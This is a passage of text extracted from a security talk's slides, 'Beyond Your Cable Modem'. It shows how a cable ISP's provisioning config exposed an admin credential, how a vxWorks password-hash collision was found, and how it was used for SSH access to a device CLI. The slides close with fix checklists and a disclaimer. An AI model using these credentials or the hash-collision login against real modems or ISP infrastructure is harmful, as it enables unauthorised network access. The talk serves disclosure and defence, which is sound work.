VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }
![Page 107: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/107.jpg)
SSH
RQzzR99ycc
password
vxWorks Hash
![Page 108: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/108.jpg)
SSH
RQzzR99ycc
password
checksum[0x380 .. 0x12580]
vxWorks Hash
stringify
![Page 109: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/109.jpg)
SSH
RQzzR99ycc
!"!#zzzw
vxWorks Hash
Collision
![Page 110: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/110.jpg)
SSHroot@KDG:~# ssh [email protected]@10.238.177.112's password:
![Page 111: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/111.jpg)
SSHroot@KDG:~# ssh [email protected]@10.238.177.112's password: !"!#zzzw
>>>Console, CLI version 1.0.0.5Type 'help' for list of commands
MAIN>
![Page 112: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/112.jpg)
cable
Admin
SAContract
SSH
![Page 113: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/113.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
![Page 114: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/114.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
![Page 115: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/115.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
✔
![Page 116: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/116.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
✔
![Page 117: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/117.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
✔
✔
![Page 118: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/118.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
✔
✔
![Page 119: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/119.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
✔
✔
✔
![Page 120: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/120.jpg)
TFTP
DHCP
cable SNMP
✔
SIP
SSH
Fixing It
✔
✔
✔
✔
![Page 121: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/121.jpg)
Conclusions
• Guard your networks!
• Don’t trust devices customers can physically access
• Don’t trust devices ISPs hand out
• The press is your friend
![Page 122: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/122.jpg)
Conspiracy
• Unlikely
• Looked more like “no security is easier”
![Page 123: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/123.jpg)
Other Providers
• I don’t know, my cable wasn’t long enough
![Page 124: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/124.jpg)
Disclaimer
• No animals were hurt
• Passwords were changed for the sake of §202c
• To my best knowledge, the KDG network is now secure enough to make the information above useless for attacks
![Page 125: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/125.jpg)
Thank You
![Page 126: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/126.jpg)
![Page 127: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/127.jpg)
OSA Icons
Icons received from http://www.opensecurityarchitecture.org/cms/library/icon-library
![Page 128: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/128.jpg)
emojione Icons
Icons received from http://www.opensecurityarchitecture.org/cms/library/icon-library
![Page 129: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/129.jpg)
Other Icons
https://www.iconfinder.com/icons/22281/commandline_prompt_shell_terminal_icon#size=128
https://www.wisc-online.com/asset-repository/category?CategoryId=12
http://www.openclipart.org